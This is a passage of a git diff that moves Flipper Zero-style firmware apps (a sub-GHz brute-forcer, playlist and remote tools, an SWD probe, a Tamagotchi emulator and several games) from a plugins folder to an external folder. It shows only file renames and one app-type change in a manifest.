a/applications/plugins/subghz_bruteforcer/images/sub1_10px.png b/applications/external/subghz_bruteforcer/images/sub1_10px.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/sub1_10px.png rename to applications/external/subghz_bruteforcer/images/sub1_10px.png diff --git a/applications/plugins/subghz_bruteforcer/images/subbrute_10px.png b/applications/external/subghz_bruteforcer/images/subbrute_10px.png similarity index 100% rename from applications/plugins/subghz_bruteforcer/images/subbrute_10px.png rename to applications/external/subghz_bruteforcer/images/subbrute_10px.png diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene.h b/applications/external/subghz_bruteforcer/scenes/subbrute_scene.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene.h rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene.h diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_config.h b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_config.h rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_file.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_file.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_select.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_select.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_name.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_name.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_success.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_success.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_start.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_start.c rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c diff --git a/applications/plugins/subghz_bruteforcer/scenes/subbute_scene.c b/applications/external/subghz_bruteforcer/scenes/subbute_scene.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/scenes/subbute_scene.c rename to applications/external/subghz_bruteforcer/scenes/subbute_scene.c diff --git a/applications/plugins/subghz_bruteforcer/subbrute.c b/applications/external/subghz_bruteforcer/subbrute.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute.c rename to applications/external/subghz_bruteforcer/subbrute.c diff --git a/applications/plugins/subghz_bruteforcer/subbrute.h b/applications/external/subghz_bruteforcer/subbrute.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute.h rename to applications/external/subghz_bruteforcer/subbrute.h diff --git a/applications/plugins/subghz_bruteforcer/subbrute_custom_event.h b/applications/external/subghz_bruteforcer/subbrute_custom_event.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute_custom_event.h rename to applications/external/subghz_bruteforcer/subbrute_custom_event.h diff --git a/applications/plugins/subghz_bruteforcer/subbrute_device.c b/applications/external/subghz_bruteforcer/subbrute_device.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute_device.c rename to applications/external/subghz_bruteforcer/subbrute_device.c diff --git a/applications/plugins/subghz_bruteforcer/subbrute_device.h b/applications/external/subghz_bruteforcer/subbrute_device.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute_device.h rename to applications/external/subghz_bruteforcer/subbrute_device.h diff --git a/applications/plugins/subghz_bruteforcer/subbrute_i.h b/applications/external/subghz_bruteforcer/subbrute_i.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute_i.h rename to applications/external/subghz_bruteforcer/subbrute_i.h diff --git a/applications/plugins/subghz_bruteforcer/subbrute_protocols.c b/applications/external/subghz_bruteforcer/subbrute_protocols.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute_protocols.c rename to applications/external/subghz_bruteforcer/subbrute_protocols.c diff --git a/applications/plugins/subghz_bruteforcer/subbrute_protocols.h b/applications/external/subghz_bruteforcer/subbrute_protocols.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/subbrute_protocols.h rename to applications/external/subghz_bruteforcer/subbrute_protocols.h diff --git a/applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.c b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.c rename to applications/external/subghz_bruteforcer/views/subbrute_attack_view.c diff --git a/applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.h b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.h rename to applications/external/subghz_bruteforcer/views/subbrute_attack_view.h diff --git a/applications/plugins/subghz_bruteforcer/views/subbrute_main_view.c b/applications/external/subghz_bruteforcer/views/subbrute_main_view.c similarity index 100% rename from applications/plugins/subghz_bruteforcer/views/subbrute_main_view.c rename to applications/external/subghz_bruteforcer/views/subbrute_main_view.c diff --git a/applications/plugins/subghz_bruteforcer/views/subbrute_main_view.h b/applications/external/subghz_bruteforcer/views/subbrute_main_view.h similarity index 100% rename from applications/plugins/subghz_bruteforcer/views/subbrute_main_view.h rename to applications/external/subghz_bruteforcer/views/subbrute_main_view.h diff --git a/applications/plugins/subghz_playlist/application.fam b/applications/external/subghz_playlist/application.fam similarity index 100% rename from applications/plugins/subghz_playlist/application.fam rename to applications/external/subghz_playlist/application.fam diff --git a/applications/plugins/subghz_playlist/canvas_helper.c b/applications/external/subghz_playlist/canvas_helper.c similarity index 100% rename from applications/plugins/subghz_playlist/canvas_helper.c rename to applications/external/subghz_playlist/canvas_helper.c diff --git a/applications/plugins/subghz_playlist/canvas_helper.h b/applications/external/subghz_playlist/canvas_helper.h similarity index 100% rename from applications/plugins/subghz_playlist/canvas_helper.h rename to applications/external/subghz_playlist/canvas_helper.h diff --git a/applications/plugins/subghz_playlist/images/ButtonRight_4x7.png b/applications/external/subghz_playlist/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/subghz_playlist/images/ButtonRight_4x7.png rename to applications/external/subghz_playlist/images/ButtonRight_4x7.png diff --git a/applications/plugins/subghz_playlist/images/sub1_10px.png b/applications/external/subghz_playlist/images/sub1_10px.png similarity index 100% rename from applications/plugins/subghz_playlist/images/sub1_10px.png rename to applications/external/subghz_playlist/images/sub1_10px.png diff --git a/applications/plugins/subghz_playlist/playlist.c b/applications/external/subghz_playlist/playlist.c similarity index 100% rename from applications/plugins/subghz_playlist/playlist.c rename to applications/external/subghz_playlist/playlist.c diff --git a/applications/plugins/subghz_playlist/playlist_10px.png b/applications/external/subghz_playlist/playlist_10px.png similarity index 100% rename from applications/plugins/subghz_playlist/playlist_10px.png rename to applications/external/subghz_playlist/playlist_10px.png diff --git a/applications/plugins/subghz_playlist/playlist_file.c b/applications/external/subghz_playlist/playlist_file.c similarity index 100% rename from applications/plugins/subghz_playlist/playlist_file.c rename to applications/external/subghz_playlist/playlist_file.c diff --git a/applications/plugins/subghz_playlist/playlist_file.h b/applications/external/subghz_playlist/playlist_file.h similarity index 100% rename from applications/plugins/subghz_playlist/playlist_file.h rename to applications/external/subghz_playlist/playlist_file.h diff --git a/applications/plugins/subghz_remote/application.fam b/applications/external/subghz_remote/application.fam similarity index 100% rename from applications/plugins/subghz_remote/application.fam rename to applications/external/subghz_remote/application.fam diff --git a/applications/plugins/subghz_remote/images/ButtonDown_7x4.png b/applications/external/subghz_remote/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/subghz_remote/images/ButtonDown_7x4.png rename to applications/external/subghz_remote/images/ButtonDown_7x4.png diff --git a/applications/plugins/subghz_remote/images/ButtonLeft_4x7.png b/applications/external/subghz_remote/images/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/subghz_remote/images/ButtonLeft_4x7.png rename to applications/external/subghz_remote/images/ButtonLeft_4x7.png diff --git a/applications/plugins/subghz_remote/images/ButtonRight_4x7.png b/applications/external/subghz_remote/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/subghz_remote/images/ButtonRight_4x7.png rename to applications/external/subghz_remote/images/ButtonRight_4x7.png diff --git a/applications/plugins/subghz_remote/images/ButtonUp_7x4.png b/applications/external/subghz_remote/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/subghz_remote/images/ButtonUp_7x4.png rename to applications/external/subghz_remote/images/ButtonUp_7x4.png diff --git a/applications/plugins/subghz_remote/images/Ok_btn_9x9.png b/applications/external/subghz_remote/images/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/subghz_remote/images/Ok_btn_9x9.png rename to applications/external/subghz_remote/images/Ok_btn_9x9.png diff --git a/applications/plugins/subghz_remote/images/Pin_arrow_down_7x9.png b/applications/external/subghz_remote/images/Pin_arrow_down_7x9.png similarity index 100% rename from applications/plugins/subghz_remote/images/Pin_arrow_down_7x9.png rename to applications/external/subghz_remote/images/Pin_arrow_down_7x9.png diff --git a/applications/plugins/subghz_remote/images/Pin_arrow_left_9x7.png b/applications/external/subghz_remote/images/Pin_arrow_left_9x7.png similarity index 100% rename from applications/plugins/subghz_remote/images/Pin_arrow_left_9x7.png rename to applications/external/subghz_remote/images/Pin_arrow_left_9x7.png diff --git a/applications/plugins/subghz_remote/images/Pin_arrow_right_9x7.png b/applications/external/subghz_remote/images/Pin_arrow_right_9x7.png similarity index 100% rename from applications/plugins/subghz_remote/images/Pin_arrow_right_9x7.png rename to applications/external/subghz_remote/images/Pin_arrow_right_9x7.png diff --git a/applications/plugins/subghz_remote/images/Pin_arrow_up_7x9.png b/applications/external/subghz_remote/images/Pin_arrow_up_7x9.png similarity index 100% rename from applications/plugins/subghz_remote/images/Pin_arrow_up_7x9.png rename to applications/external/subghz_remote/images/Pin_arrow_up_7x9.png diff --git a/applications/plugins/subghz_remote/images/Pin_cell_13x13.png b/applications/external/subghz_remote/images/Pin_cell_13x13.png similarity index 100% rename from applications/plugins/subghz_remote/images/Pin_cell_13x13.png rename to applications/external/subghz_remote/images/Pin_cell_13x13.png diff --git a/applications/plugins/subghz_remote/images/Pin_star_7x7.png b/applications/external/subghz_remote/images/Pin_star_7x7.png similarity index 100% rename from applications/plugins/subghz_remote/images/Pin_star_7x7.png rename to applications/external/subghz_remote/images/Pin_star_7x7.png diff --git a/applications/plugins/subghz_remote/images/back_10px.png b/applications/external/subghz_remote/images/back_10px.png similarity index 100% rename from applications/plugins/subghz_remote/images/back_10px.png rename to applications/external/subghz_remote/images/back_10px.png diff --git a/applications/plugins/subghz_remote/images/sub1_10px.png b/applications/external/subghz_remote/images/sub1_10px.png similarity index 100% rename from applications/plugins/subghz_remote/images/sub1_10px.png rename to applications/external/subghz_remote/images/sub1_10px.png diff --git a/applications/plugins/subghz_remote/subghz_remote_10px.png b/applications/external/subghz_remote/subghz_remote_10px.png similarity index 100% rename from applications/plugins/subghz_remote/subghz_remote_10px.png rename to applications/external/subghz_remote/subghz_remote_10px.png diff --git a/applications/plugins/subghz_remote/subghz_remote_app.c b/applications/external/subghz_remote/subghz_remote_app.c similarity index 100% rename from applications/plugins/subghz_remote/subghz_remote_app.c rename to applications/external/subghz_remote/subghz_remote_app.c diff --git a/applications/plugins/swd_probe/.gitignore b/applications/external/swd_probe/.gitignore similarity index 100% rename from applications/plugins/swd_probe/.gitignore rename to applications/external/swd_probe/.gitignore diff --git a/applications/plugins/swd_probe/LICENSE.txt b/applications/external/swd_probe/LICENSE.txt similarity index 100% rename from applications/plugins/swd_probe/LICENSE.txt rename to applications/external/swd_probe/LICENSE.txt diff --git a/applications/plugins/swd_probe/README.md b/applications/external/swd_probe/README.md similarity index 100% rename from applications/plugins/swd_probe/README.md rename to applications/external/swd_probe/README.md diff --git a/applications/plugins/swd_probe/adi.c b/applications/external/swd_probe/adi.c similarity index 100% rename from applications/plugins/swd_probe/adi.c rename to applications/external/swd_probe/adi.c diff --git a/applications/plugins/swd_probe/adi.h b/applications/external/swd_probe/adi.h similarity index 100% rename from applications/plugins/swd_probe/adi.h rename to applications/external/swd_probe/adi.h diff --git a/applications/plugins/swd_probe/application.fam b/applications/external/swd_probe/application.fam similarity index 89% rename from applications/plugins/swd_probe/application.fam rename to applications/external/swd_probe/application.fam index de2708e41..2a66f0054 100644 --- a/applications/plugins/swd_probe/application.fam +++ b/applications/external/swd_probe/application.fam @@ -1,7 +1,7 @@ App( appid="swd_probe", name="[SWD] Probe", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="swd_probe_app_main", cdefines=["APP_SWD_PROBE"], requires=["notification", "gui", "storage", "dialogs", "cli"], diff --git a/applications/plugins/swd_probe/icons/ButtonDown_7x4.png b/applications/external/swd_probe/icons/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/swd_probe/icons/ButtonDown_7x4.png rename to applications/external/swd_probe/icons/ButtonDown_7x4.png diff --git a/applications/plugins/swd_probe/icons/ButtonUp_7x4.png b/applications/external/swd_probe/icons/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/swd_probe/icons/ButtonUp_7x4.png rename to applications/external/swd_probe/icons/ButtonUp_7x4.png diff --git a/applications/plugins/swd_probe/icons/app.png b/applications/external/swd_probe/icons/app.png similarity index 100% rename from applications/plugins/swd_probe/icons/app.png rename to applications/external/swd_probe/icons/app.png diff --git a/applications/plugins/swd_probe/icons/swd.png b/applications/external/swd_probe/icons/swd.png similarity index 100% rename from applications/plugins/swd_probe/icons/swd.png rename to applications/external/swd_probe/icons/swd.png diff --git a/applications/plugins/swd_probe/jep106.c b/applications/external/swd_probe/jep106.c similarity index 100% rename from applications/plugins/swd_probe/jep106.c rename to applications/external/swd_probe/jep106.c diff --git a/applications/plugins/swd_probe/jep106.h b/applications/external/swd_probe/jep106.h similarity index 100% rename from applications/plugins/swd_probe/jep106.h rename to applications/external/swd_probe/jep106.h diff --git a/applications/plugins/swd_probe/jep106.inc b/applications/external/swd_probe/jep106.inc similarity index 100% rename from applications/plugins/swd_probe/jep106.inc rename to applications/external/swd_probe/jep106.inc diff --git a/applications/plugins/swd_probe/model/chip.ply b/applications/external/swd_probe/model/chip.ply similarity index 100% rename from applications/plugins/swd_probe/model/chip.ply rename to applications/external/swd_probe/model/chip.ply diff --git a/applications/plugins/swd_probe/model/convert.py b/applications/external/swd_probe/model/convert.py similarity index 100% rename from applications/plugins/swd_probe/model/convert.py rename to applications/external/swd_probe/model/convert.py diff --git a/applications/plugins/swd_probe/model/model_chip.h b/applications/external/swd_probe/model/model_chip.h similarity index 100% rename from applications/plugins/swd_probe/model/model_chip.h rename to applications/external/swd_probe/model/model_chip.h diff --git a/applications/plugins/swd_probe/swd_probe_app.c b/applications/external/swd_probe/swd_probe_app.c similarity index 100% rename from applications/plugins/swd_probe/swd_probe_app.c rename to applications/external/swd_probe/swd_probe_app.c diff --git a/applications/plugins/swd_probe/swd_probe_app.h b/applications/external/swd_probe/swd_probe_app.h similarity index 100% rename from applications/plugins/swd_probe/swd_probe_app.h rename to applications/external/swd_probe/swd_probe_app.h diff --git a/applications/plugins/swd_probe/usb_uart.c b/applications/external/swd_probe/usb_uart.c similarity index 100% rename from applications/plugins/swd_probe/usb_uart.c rename to applications/external/swd_probe/usb_uart.c diff --git a/applications/plugins/swd_probe/usb_uart.h b/applications/external/swd_probe/usb_uart.h similarity index 100% rename from applications/plugins/swd_probe/usb_uart.h rename to applications/external/swd_probe/usb_uart.h diff --git a/applications/plugins/tama_p1/README.md b/applications/external/tama_p1/README.md similarity index 100% rename from applications/plugins/tama_p1/README.md rename to applications/external/tama_p1/README.md diff --git a/applications/plugins/tama_p1/application.fam b/applications/external/tama_p1/application.fam similarity index 100% rename from applications/plugins/tama_p1/application.fam rename to applications/external/tama_p1/application.fam diff --git a/applications/plugins/tama_p1/compiled/assets_icons.h b/applications/external/tama_p1/compiled/assets_icons.h similarity index 100% rename from applications/plugins/tama_p1/compiled/assets_icons.h rename to applications/external/tama_p1/compiled/assets_icons.h diff --git a/applications/plugins/tama_p1/hal.c b/applications/external/tama_p1/hal.c similarity index 100% rename from applications/plugins/tama_p1/hal.c rename to applications/external/tama_p1/hal.c diff --git a/applications/plugins/tama_p1/hal_types.h b/applications/external/tama_p1/hal_types.h similarity index 100% rename from applications/plugins/tama_p1/hal_types.h rename to applications/external/tama_p1/hal_types.h diff --git a/applications/plugins/tama_p1/icons/icon_0.png b/applications/external/tama_p1/icons/icon_0.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_0.png rename to applications/external/tama_p1/icons/icon_0.png diff --git a/applications/plugins/tama_p1/icons/icon_1.png b/applications/external/tama_p1/icons/icon_1.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_1.png rename to applications/external/tama_p1/icons/icon_1.png diff --git a/applications/plugins/tama_p1/icons/icon_2.png b/applications/external/tama_p1/icons/icon_2.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_2.png rename to applications/external/tama_p1/icons/icon_2.png diff --git a/applications/plugins/tama_p1/icons/icon_3.png b/applications/external/tama_p1/icons/icon_3.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_3.png rename to applications/external/tama_p1/icons/icon_3.png diff --git a/applications/plugins/tama_p1/icons/icon_4.png b/applications/external/tama_p1/icons/icon_4.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_4.png rename to applications/external/tama_p1/icons/icon_4.png diff --git a/applications/plugins/tama_p1/icons/icon_5.png b/applications/external/tama_p1/icons/icon_5.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_5.png rename to applications/external/tama_p1/icons/icon_5.png diff --git a/applications/plugins/tama_p1/icons/icon_6.png b/applications/external/tama_p1/icons/icon_6.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_6.png rename to applications/external/tama_p1/icons/icon_6.png diff --git a/applications/plugins/tama_p1/icons/icon_7.png b/applications/external/tama_p1/icons/icon_7.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_7.png rename to applications/external/tama_p1/icons/icon_7.png diff --git a/applications/plugins/tama_p1/tama.gif b/applications/external/tama_p1/tama.gif similarity index 100% rename from applications/plugins/tama_p1/tama.gif rename to applications/external/tama_p1/tama.gif diff --git a/applications/plugins/tama_p1/tama.h b/applications/external/tama_p1/tama.h similarity index 100% rename from applications/plugins/tama_p1/tama.h rename to applications/external/tama_p1/tama.h diff --git a/applications/plugins/tama_p1/tamaIcon.png b/applications/external/tama_p1/tamaIcon.png similarity index 100% rename from applications/plugins/tama_p1/tamaIcon.png rename to applications/external/tama_p1/tamaIcon.png diff --git a/applications/plugins/tama_p1/tama_p1.c b/applications/external/tama_p1/tama_p1.c similarity index 100% rename from applications/plugins/tama_p1/tama_p1.c rename to applications/external/tama_p1/tama_p1.c diff --git a/applications/plugins/tama_p1/tamalib/LICENSE b/applications/external/tama_p1/tamalib/LICENSE similarity index 100% rename from applications/plugins/tama_p1/tamalib/LICENSE rename to applications/external/tama_p1/tamalib/LICENSE diff --git a/applications/plugins/tama_p1/tamalib/README.md b/applications/external/tama_p1/tamalib/README.md similarity index 100% rename from applications/plugins/tama_p1/tamalib/README.md rename to applications/external/tama_p1/tamalib/README.md diff --git a/applications/plugins/tama_p1/tamalib/cpu.c b/applications/external/tama_p1/tamalib/cpu.c similarity index 100% rename from applications/plugins/tama_p1/tamalib/cpu.c rename to applications/external/tama_p1/tamalib/cpu.c diff --git a/applications/plugins/tama_p1/tamalib/cpu.h b/applications/external/tama_p1/tamalib/cpu.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/cpu.h rename to applications/external/tama_p1/tamalib/cpu.h diff --git a/applications/plugins/tama_p1/tamalib/hal.h b/applications/external/tama_p1/tamalib/hal.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/hal.h rename to applications/external/tama_p1/tamalib/hal.h diff --git a/applications/plugins/tama_p1/tamalib/hal_types.h.template b/applications/external/tama_p1/tamalib/hal_types.h.template similarity index 100% rename from applications/plugins/tama_p1/tamalib/hal_types.h.template rename to applications/external/tama_p1/tamalib/hal_types.h.template diff --git a/applications/plugins/tama_p1/tamalib/hw.c b/applications/external/tama_p1/tamalib/hw.c similarity index 100% rename from applications/plugins/tama_p1/tamalib/hw.c rename to applications/external/tama_p1/tamalib/hw.c diff --git a/applications/plugins/tama_p1/tamalib/hw.h b/applications/external/tama_p1/tamalib/hw.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/hw.h rename to applications/external/tama_p1/tamalib/hw.h diff --git a/applications/plugins/tama_p1/tamalib/tamalib.c b/applications/external/tama_p1/tamalib/tamalib.c similarity index 100% rename from applications/plugins/tama_p1/tamalib/tamalib.c rename to applications/external/tama_p1/tamalib/tamalib.c diff --git a/applications/plugins/tama_p1/tamalib/tamalib.h b/applications/external/tama_p1/tamalib/tamalib.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/tamalib.h rename to applications/external/tama_p1/tamalib/tamalib.h diff --git a/applications/plugins/tanksgame/application.fam b/applications/external/tanksgame/application.fam similarity index 100% rename from applications/plugins/tanksgame/application.fam rename to applications/external/tanksgame/application.fam diff --git a/applications/plugins/tanksgame/constants.h b/applications/external/tanksgame/constants.h similarity index 100% rename from applications/plugins/tanksgame/constants.h rename to applications/external/tanksgame/constants.h diff --git a/applications/plugins/tanksgame/images/HappyFlipper_128x64.png b/applications/external/tanksgame/images/HappyFlipper_128x64.png similarity index 100% rename from applications/plugins/tanksgame/images/HappyFlipper_128x64.png rename to applications/external/tanksgame/images/HappyFlipper_128x64.png diff --git a/applications/plugins/tanksgame/images/TanksSplashScreen_128x64.png b/applications/external/tanksgame/images/TanksSplashScreen_128x64.png similarity index 100% rename from applications/plugins/tanksgame/images/TanksSplashScreen_128x64.png rename to applications/external/tanksgame/images/TanksSplashScreen_128x64.png diff --git a/applications/plugins/tanksgame/images/enemy_down.png b/applications/external/tanksgame/images/enemy_down.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_down.png rename to applications/external/tanksgame/images/enemy_down.png diff --git a/applications/plugins/tanksgame/images/enemy_left.png b/applications/external/tanksgame/images/enemy_left.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_left.png rename to applications/external/tanksgame/images/enemy_left.png diff --git a/applications/plugins/tanksgame/images/enemy_right.png b/applications/external/tanksgame/images/enemy_right.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_right.png rename to applications/external/tanksgame/images/enemy_right.png diff --git a/applications/plugins/tanksgame/images/enemy_up.png b/applications/external/tanksgame/images/enemy_up.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_up.png rename to applications/external/tanksgame/images/enemy_up.png diff --git a/applications/plugins/tanksgame/images/projectile_down.png b/applications/external/tanksgame/images/projectile_down.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_down.png rename to applications/external/tanksgame/images/projectile_down.png diff --git a/applications/plugins/tanksgame/images/projectile_left.png b/applications/external/tanksgame/images/projectile_left.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_left.png rename to applications/external/tanksgame/images/projectile_left.png diff --git a/applications/plugins/tanksgame/images/projectile_right.png b/applications/external/tanksgame/images/projectile_right.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_right.png rename to applications/external/tanksgame/images/projectile_right.png diff --git a/applications/plugins/tanksgame/images/projectile_up.png b/applications/external/tanksgame/images/projectile_up.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_up.png rename to applications/external/tanksgame/images/projectile_up.png diff --git a/applications/plugins/tanksgame/images/tank_base.png b/applications/external/tanksgame/images/tank_base.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_base.png rename to applications/external/tanksgame/images/tank_base.png diff --git a/applications/plugins/tanksgame/images/tank_down.png b/applications/external/tanksgame/images/tank_down.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_down.png rename to applications/external/tanksgame/images/tank_down.png diff --git a/applications/plugins/tanksgame/images/tank_explosion.png b/applications/external/tanksgame/images/tank_explosion.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_explosion.png rename to applications/external/tanksgame/images/tank_explosion.png diff --git a/applications/plugins/tanksgame/images/tank_hedgehog.png b/applications/external/tanksgame/images/tank_hedgehog.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_hedgehog.png rename to applications/external/tanksgame/images/tank_hedgehog.png diff --git a/applications/plugins/tanksgame/images/tank_left.png b/applications/external/tanksgame/images/tank_left.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_left.png rename to applications/external/tanksgame/images/tank_left.png diff --git a/applications/plugins/tanksgame/images/tank_right.png b/applications/external/tanksgame/images/tank_right.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_right.png rename to applications/external/tanksgame/images/tank_right.png diff --git a/applications/plugins/tanksgame/images/tank_stone.png b/applications/external/tanksgame/images/tank_stone.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_stone.png rename to applications/external/tanksgame/images/tank_stone.png diff --git a/applications/plugins/tanksgame/images/tank_up.png b/applications/external/tanksgame/images/tank_up.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_up.png rename to applications/external/tanksgame/images/tank_up.png diff --git a/applications/plugins/tanksgame/images/tank_wall.png b/applications/external/tanksgame/images/tank_wall.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_wall.png rename to applications/external/tanksgame/images/tank_wall.png diff --git a/applications/plugins/tanksgame/tanksIcon.png b/applications/external/tanksgame/tanksIcon.png similarity index 100% rename from applications/plugins/tanksgame/tanksIcon.png rename to applications/external/tanksgame/tanksIcon.png diff --git a/applications/plugins/tanksgame/tanks_game.c b/applications/external/tanksgame/tanks_game.c similarity index 100% rename from applications/plugins/tanksgame/tanks_game.c rename to applications/external/tanksgame/tanks_game.c diff --git a/applications/plugins/tetris_game/application.fam b/applications/external/tetris_game/application.fam similarity index 100% rename from applications/plugins/tetris_game/application.fam rename to applications/external/tetris_game/application.fam diff --git a/applications/plugins/tetris_game/tetris_10px.png b/applications/external/tetris_game/tetris_10px.png similarity index 100% rename from applications/plugins/tetris_game/tetris_10px.png rename to applications/external/tetris_game/tetris_10px.png diff --git a/applications/plugins/tetris_game/tetris_game.c b/applications/external/tetris_game/tetris_game.c similarity index 100% rename from applications/plugins/tetris_game/tetris_game.c rename to applications/external/tetris_game/tetris_game.c diff --git a/applications/plugins/text_viewer/LICENSE b/applications/external/text_viewer/LICENSE similarity index 100% rename from applications/plugins/text_viewer/LICENSE rename to applications/external/text_viewer/LICENSE diff --git a/applications/plugins/text_viewer/README.md b/applications/external/text_viewer/README.md similarity index 100% rename from applications/plugins/text_viewer/README.md rename to applications/external/text_viewer/README.md diff --git a/applications/plugins/text_viewer/application.fam b/applications/external/text_viewer/application.fam similarity index 100% rename from applications/plugins/text_viewer/application.fam rename to applications/external/text_viewer/application.fam diff --git a/applications/plugins/text_viewer/icons/text_10px.png b/applications/external/text_viewer/icons/text_10px.png similarity index 100% rename from applications/plugins/text_viewer/icons/text_10px.png rename to applications/external/text_viewer/icons/text_10px.png diff --git a/applications/plugins/text_viewer/text_viewer.c b/applications/external/text_viewer/text_viewer.c similarity index 100% rename from applications/plugins/text_viewer/text_viewer.c rename to applications/external/text_viewer/text_viewer.c diff --git a/applications/plugins/text_viewer/textviewerflipper.PNG b/applications/external/text_viewer/textviewerflipper.PNG similarity index 100% rename from applications/plugins/text_viewer/textviewerflipper.PNG rename to applications/external/text_viewer/textviewerflipper.PNG diff --git a/applications/plugins/tictactoe_game/application.fam b/applications/external/tictactoe_game/application.fam similarity index 100% rename from applications/plugins/tictactoe_game/application.fam rename to applications/external/tictactoe_game/application.fam diff --git a/applications/plugins/tictactoe_game/tictactoe_10px.png b/applications/external/tictactoe_game/tictactoe_10px.png similarity index 100% rename from applications/plugins/tictactoe_game/tictactoe_10px.png rename to applications/external/tictactoe_game/tictactoe_10px.png diff --git a/applications/plugins/tictactoe_game/tictactoe_game.c b/applications/external/tictactoe_game/tictactoe_game.c similarity index 100% rename from applications/plugins/tictactoe_game/tictactoe_game.c rename to applications/external/tictactoe_game/tictactoe_game.c diff --git a/applications/plugins/timelapse/README.md b/applications/external/timelapse/README.md similarity index 100% rename from applications/plugins/timelapse/README.md rename to applications/external/timelapse/README.md diff --git a/applications/plugins/timelapse/application.fam b/applications/external/timelapse/application.fam similarity index 100% rename from applications/plugins/timelapse/application.fam rename to applications/external/timelapse/application.fam diff --git a/applications/plugins/timelapse/gpio_item.c b/applications/external/timelapse/gpio_item.c similarity index 